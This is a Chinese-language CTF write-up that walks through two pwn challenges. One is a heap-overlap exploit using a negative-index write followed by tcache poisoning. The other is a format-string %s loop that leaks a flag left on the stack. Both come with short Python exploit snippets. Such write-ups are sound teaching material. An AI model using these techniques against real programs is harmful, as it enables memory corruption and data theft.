题一:堆重叠导致的任意写
第一道题是个经典的菜单题,但关键点在于它把 add 和 edit 的索引校验做反了。正常情况下应该校验索引是否越界,它却只校验了索引是否「等于」某个特定值,于是负数索引被放行。
利用这个漏洞,可以先申请两个相邻的 chunk,再通过负索引写掉前一个 chunk 的 size 字段,制造出 堆重叠:
python
# 制造堆重叠
add(0, 0x80) # chunk A
add(1, 0x80) # chunk B
edit(-1, fake_size) # 负索引越过 B,改写 A 的 size 字段
free(0) # 释放一个「变大」的 A
add(2, 0x200) # 复用 A,与 B 重叠
一旦堆重叠成立,后续就是常规的 tcache poisoning,把目标地址写进 fd 指针即可。
题二:格式化字符串的「反向利用」
第二道题表面上是个格式化字符串漏洞,但开了 FORTIFY_SOURCE 和 PIE,常规的写 %n 会触发保护。真正的关键是:题目把 flag 读到了栈上,且没有初始化。
「与其想怎么劫持控制流,不如想怎么把已经在内存里的东西读出来。」
读取思路
既然 flag 就在栈上,用格式化字符串的 %s 配合栈上残留的指针即可完成泄漏:
python
# 爆破栈偏移,找到指向 flag 的指针
for i in range(1, 50):
payload = f'%{i}$s'.encode()
io.sendline(payload)
leak = io.recvline()
if b'hitcon' in leak:
print(f'[+] found at offset {i}: {leak}')
break
两道题的完整 exp 都已整理到 我的 GitHub 仓库,感兴趣的可以对照源码复盘。
小结
复盘下来,两道题有个共同点:都没在考「你会不会某个 exploit 技巧」,而是在考「你能不能跳出惯性,看清数据到底流向了哪里」。 这大概也是 Pwn 最迷人的地方。